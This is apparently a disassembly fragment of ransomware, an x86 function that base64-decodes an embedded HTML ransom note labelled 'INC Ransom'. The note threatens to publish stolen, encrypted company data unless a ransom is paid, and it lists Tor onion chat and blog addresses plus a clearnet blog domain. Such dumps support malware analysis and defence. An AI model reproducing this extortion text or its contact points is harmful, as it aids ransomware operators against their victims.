UgY2hhdCByb29tIGFuZCB3YWl0IGZvciBhbiBhbnN3ZXIsIHdlJ2xsIGd1YXJhbnRlZSBhIHJlc3BvbnNlIGZyb20geW91Ljwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgbWFyZ2luLXRvcDogOHB4OyIU29tZXRpbWVzIHlvdSB3aWxsIGhhdmUgdG8gd2FpdCBzb21lIHRpbWUgZm9yIG91ciByZXBseSwgdGhpcyBpcyBiZWNhdXNlIHdlIGhhdmUgYSBsb3Qgb2Ygd29yayBhbmQgd2UgYXR0YWNrIHRlbnMgb2YgY29tcGFuaWVzIGFyb3VuZCB0aGUgd29ybGQuPC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IG1hcmdpbi10b3A6IDE2cHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMjBweDsgZm9udC13ZWlnaHQ6IDYwMDsiPkNoYXQgVG9yIEJyb3dzZXIgTGluazo8L3NwYW4DQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7IG1hcmdpbi10b3A6IDhweDsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij5odHRwOi8vaW5jcGF5a2FianFjMm10ZHhxNmMyM25xaDR4Nm01ZGtwczVmcjZ2Z2RrZ3pwNW5qc3N4NnFraWQub25pb24vPC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IG1hcmdpbi10b3A6IDE2cHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMjBweDsgZm9udC13ZWlnaHQ6IDYwMDsiPllvdXIgcGVyc29uYWwgSUQ6IDwvc3Bhbj4NCiAg
call ebx
mov ebx, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov edi, eax
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 1
push edi
push str.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OyIDQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDIwcHg7IGZvbnQtd2VpZ2h0OiA2MDA7Ij5Zb3UgbmVlZCB0byBjb250YWN0IHVzIG9uIFRPUiBkYXJrbmV0IHNpdGVzIHdpdGggeW91ciBwZXJzb25hbCBJRDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgbWFyZ2luLXRvcDogOHB4OyIRG93bmxvYWQgYW5kIGluc3RhbGwgVG9yIEJyb3dzZXIgaHR0cHM6Ly93d3cudG9ycHJvamVjdC5vcmcvPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBtYXJnaW4tdG9wOiA4cHg7Ij5Xcml0ZSB0byB0aGUgY2hhdCByb29tIGFuZCB3YWl0IGZvciBhbiBhbnN3ZXIsIHdlJ2xsIGd1YXJhbnRlZSBhIHJlc3BvbnNlIGZyb20geW91Ljwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgbWFyZ2luLXRvcDogOHB4OyIU29tZXRpbWVzIHlvdSB3aWxsIGhhdmUgdG8gd2FpdCBzb21lIHRpbWUgZm9yIG91ciByZXBseSwgdGhpcyBpcyBiZWNhdXNlIHdlIGhhdmUgYSBsb3Qgb2Ygd29yayBhbmQgd2UgYXR0YWNrIHRlbnMgb2YgY29tcGFuaWVzIGFyb3VuZCB0aGUgd29ybGQuPC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IG1hcmdpbi10b3A6IDE2cHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMjBweDsgZm9udC13ZWlnaHQ6IDYwMDsiPkNoYXQgVG9yIEJyb3dzZXIgTGluazo8L3NwYW4DQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7IG1hcmdpbi10b3A6IDhweDsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij5odHRwOi8vaW5jcGF5a2FianFjMm10ZHhxNmMyM25xaDR4Nm01ZGtwczVmcjZ2Z2RrZ3pwNW5qc3N4NnFraWQub25pb24vPC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IG1hcmdpbi10b3A6IDE2cHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMjBweDsgZm9udC13ZWlnaHQ6IDYwMDsiPllvdXIgcGVyc29uYWwgSUQ6IDwvc3Bhbj4NCiAg
call ebx
push dword [ebp - 8]
call fcn.0040d6b1
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push 0
push 0
push eax
push esi
push 1
push edi
push str.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OyIDQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDIwcHg7IGZvbnQtd2VpZ2h0OiA2MDA7Ij5Zb3UgbmVlZCB0byBjb250YWN0IHVzIG9uIFRPUiBkYXJrbmV0IHNpdGVzIHdpdGggeW91ciBwZXJzb25hbCBJRDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgbWFyZ2luLXRvcDogOHB4OyIRG93bmxvYWQgYW5kIGluc3RhbGwgVG9yIEJyb3dzZXIgaHR0cHM6Ly93d3cudG9ycHJvamVjdC5vcmcvPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBtYXJnaW4tdG9wOiA4cHg7Ij5Xcml0ZSB0byB0aGUgY2hhdCByb29tIGFuZCB3YWl0IGZvciBhbiBhbnN3ZXIsIHdlJ2xsIGd1YXJhbnRlZSBhIHJlc3BvbnNlIGZyb20geW91Ljwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgbWFyZ2luLXRvcDogOHB4OyIU29tZXRpbWVzIHlvdSB3aWxsIGhhdmUgdG8gd2FpdCBzb21lIHRpbWUgZm9yIG91ciByZXBseSwgdGhpcyBpcyBiZWNhdXNlIHdlIGhhdmUgYSBsb3Qgb2Ygd29yayBhbmQgd2UgYXR0YWNrIHRlbnMgb2YgY29tcGFuaWVzIGFyb3VuZCB0aGUgd29ybGQuPC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IG1hcmdpbi10b3A6IDE2cHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMjBweDsgZm9udC13ZWlnaHQ6IDYwMDsiPkNoYXQgVG9yIEJyb3dzZXIgTGluazo8L3NwYW4DQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7IG1hcmdpbi10b3A6IDhweDsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij5odHRwOi8vaW5jcGF5a2FianFjMm10ZHhxNmMyM25xaDR4Nm01ZGtwczVmcjZ2Z2RrZ3pwNW5qc3N4NnFraWQub25pb24vPC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IG1hcmdpbi10b3A6IDE2cHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMjBweDsgZm9udC13ZWlnaHQ6IDYwMDsiPllvdXIgcGVyc29uYWwgSUQ6IDwvc3Bhbj4NCiAg
call ebx
mov eax, dword [ebp - 8]
push ecx
mov ecx, esi
mov dword [0x42920c], esi
mov byte [esi + eax], 0
call fcn.004062c0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov dword [0x42920c], eax
pop edi
pop esi
pop ebx
call fcn.004096d4
mov esp, ebp
pop ebp
ret